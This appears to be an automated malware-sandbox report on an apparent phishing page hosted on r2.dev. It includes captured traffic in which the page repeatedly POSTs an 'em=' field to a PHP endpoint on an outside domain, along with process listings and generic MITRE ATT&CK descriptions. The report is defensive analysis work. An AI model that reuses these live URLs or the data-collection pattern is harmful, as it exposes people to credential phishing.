2024-05-24 05:45:30 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49765	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:46 UTC	703	OUT	POST /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive Content-Length: 3 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:46 UTC	3	OUT	Data Raw: 65 6d 3d Data Ascii: em=
2024-05-24 05:45:46 UTC	468	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:46 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Set-Cookie: PHPSESSID=cf49ed040646324512c90fce1815ac31; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:45:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49766	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:46 UTC	411	OUT	GET /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=f356707990d0aa74eebadd0bb2c33c77
2024-05-24 05:45:47 UTC	404	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:47 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:45:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49767	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:46:07 UTC	703	OUT	POST /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive Content-Length: 3 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:46:07 UTC	3	OUT	Data Raw: 65 6d 3d Data Ascii: em=
2024-05-24 05:46:08 UTC	468	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:46:07 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Set-Cookie: PHPSESSID=c75a9d8858de1d498ba6ea5bc2210566; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:46:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49768	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:46:08 UTC	411	OUT	GET /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=f356707990d0aa74eebadd0bb2c33c77
2024-05-24 05:46:08 UTC	404	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:46:08 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:46:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:45:12
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:45:17
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2376,i,2643705326903378246,2969051248873506145,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:45:19
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1184_1756839512\manifest.json

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html